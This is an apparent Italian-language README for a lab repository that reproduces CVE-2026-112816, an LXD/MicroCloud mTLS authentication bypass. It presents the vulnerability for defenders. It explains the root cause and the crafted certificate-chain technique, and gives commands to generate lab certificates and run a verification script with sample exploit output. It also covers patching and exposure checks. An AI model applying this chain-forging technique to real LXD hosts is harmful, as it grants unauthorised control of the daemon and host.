
Strumento indipendente per la riproduzione in laboratorio e la verifica post-patch di CVE-2026-112816 (bypass della catena mTLS in LXD/MicroCloud).
Riproduzione indipendente, analisi della causa radice e indicazioni per il rilevamento.
LXD e MicroCloud autenticano i client API remoti tramite mutual TLS confrontando il certificato del client con un trust store. Prima della correzione, il server confrontava ogni certificato inviato dal client con quel trust store, invece del solo leaf.
Solo il leaf dimostra il possesso di una chiave privata. I certificati successivi al leaf sono dati non autenticati che il client ha scelto di allegare. Un attaccante che riesce a raggiungere l'API HTTPS e che conosce il certificato pubblico di qualsiasi client fidato può quindi:
[attacker leaf] + [victim's public certificate] come catena TLS client,Il certificato pubblico della vittima non è un segreto — viene presentato durante l'handshake, è presente nel traffico di join del cluster in MicroCloud ed è abitualmente registrato nella gestione della configurazione. Non è necessaria alcuna chiave privata.
L'impatto è limitato solo da ciò che il client impersonato può fare. Se quel client non è sottoposto a restrizioni, l'attaccante ottiene di fatto il controllo del daemon LXD e, tramite esso, dell'host.
| CVE | CVE-2026-112816 |
| Classe | CWE-295 Validazione impropria del certificato → bypass dell'autenticazione |
| Advisory | Canonical security advisory, 28 Oct 2026 |
| Segnalato da | Segnalato a Canonical dal progetto Incus (accreditato lì: stgraber) |
| Corretto in | LXD 6.10.1, 5.21.9, 5.0.11, 4.0.15 · MicroCloud 3.4.1, 2.1.5 (2026-10-29) |
| Riprodotto su | LXD 3.20, laboratorio container isolato, 1 Nov 2026 |
Questa non è la scoperta originale. La vulnerabilità è stata trovata, segnalata e corretta prima che questo repository esistesse. Tutto ciò che segue è una riproduzione e una spiegazione indipendente preparata dopo la divulgazione pubblica, per i difensori e per i ricercatori che studiano il pattern.
poc/verify.py è l'unica fonte di prova. Abbina un controllo negativo all'exploit, così un
semplice HTTP 200 non può essere scambiato per un'autenticazione.
=== CVE-2026-112816 decisive check ===
target : 127.0.0.1:8443/1.0/certificates
[1/3] control: attacker leaf only (no trusted certificate)
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 403
=> REFUSED (expected)
[2/3] exploit: attacker leaf + trusted public certificate
chain: attacker_chain.pem (2 certs)
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 200
=> ACCEPTED
[3/3] authority: response must contain the trust store
trust entries returned: 1
[0] CN=trusted-client fingerprint=211cab96ad2e
VERDICT: [VULNERABLE]
reason: the same leaf was refused alone and accepted with a trusted certificate appended, and it read the trust store
La stessa foglia viene rifiutata da sola e accettata con l'aggiunta di un certificato pubblico attendibile. Questa asimmetria è la vulnerabilità.
.
├── README.md ← you are here
├── docs/
│ ├── 01-technical-analysis.md ← root cause, trust model, why it works
│ ├── 02-lab-reproduction.md ← exact, reproducible lab build
│ ├── 03-detection-and-mitigation.md ← exposure check, fix, detection
│ └── 04-disclosure-timeline.md ← public timeline and credits
├── poc/
│ ├── verify.py ← decisive check: control + exploit + verdict
│ ├── reproduce.py ← single crafted request, raw output
│ ├── make_lab_certs.sh ← throwaway lab PKI generator
│ └── README.md ← usage, design notes, exit codes
├── SECURITY.md ← scope, authorised-use terms, contact
└── LICENSE
# 1. Generate the lab certificates: a "victim" certificate to trust, an attacker
# keypair, and the crafted chain [attacker leaf] + [trusted public cert].
./poc/make_lab_certs.sh --out /tmp/lab
# 2. Register the victim certificate and expose the API on the lab daemon.
lxc config trust add /tmp/lab/trusted_client.crt
lxc config set core.https_address :8443
# 3. Run the decisive check.
python3 poc/verify.py --host 127.0.0.1 --port 8443 \
--chain /tmp/lab/attacker_chain.pem --key /tmp/lab/attacker_private.key
verify.py esce con 0 quando il target è correttamente aggiornato, 1 quando è vulnerabile, 2 in caso di errore TLS e 3
quando il risultato è inconcludente, così può essere integrato in uno script di audit o in una pipeline CI.
Il listener HTTPS è configurato per richiedere i certificati client senza esigerli o
verificarli (tls.RequestClientCert). Ciò è intenzionale: la fiducia in LXD si basa sulla corrispondenza di un fingerprint
con un archivio per-daemon, non su una PKI. Il bug consiste nel fatto che la ricerca di fiducia iterava su
r.TLS.PeerCertificates — l'intera catena così come ricevuta — anziché su PeerCertificates[0]. Poiché
la catena è fornita dal client e non verificata, qualsiasi voce al suo interno poteva soddisfare la ricerca. La correzione
limita ogni confronto con l'archivio di fiducia al primo certificato peer.
docs/01-technical-analysis.md illustra il flusso della richiesta annotato, i percorsi di codice interessati (rinnovo e cancellazione dei certificati, la connessione dell'agente VM, lo scriptlet di autorizzazione), dove un attaccante ottiene il certificato pubblico e il ragionamento alla base del punteggio CVSS 10.0.
sudo snap refresh lxd # ≥ 6.10.1 (6/stable), 5.21.9, 5.0.11, 4.0.15
sudo snap refresh microcloud # ≥ 3.4.1 (3/stable), 2.1.5
snap list lxd microcloud # verify the installed version, not the refresh result
Verifica dell'esposizione — un LXD autonomo che non ha mai impostato core.https_address non è affatto raggiungibile
via rete:
lxc config get core.https_address
lxc config trust list
Conferma la correzione a livello comportamentale:
python3 poc/verify.py --host <target> --port 8443 \
--chain attacker_chain.pem --key attacker_private.key
# exit 0 + "VERDICT: [PATCHED]"
Le indicazioni complete per la difesa, inclusa la descrizione di come appare un bypass riuscito dal lato rete, sono disponibili in docs/03-detection-and-mitigation.md.
Questo repository è un riproduttore di laboratorio e un'analisi. Non contiene alcuno scanner, alcun payload, alcun
strumento di post-sfruttamento e alcuna lista di target. verify.py e reproduce.py puntano a
127.0.0.1 di proposito.
Eseguire questo codice contro infrastrutture di cui non si è proprietari o per cui non si dispone di un'autorizzazione scritta ai fini di test è illegale nella maggior parte delle giurisdizioni e non costituisce un uso supportato di questo codice. Vedi SECURITY.md.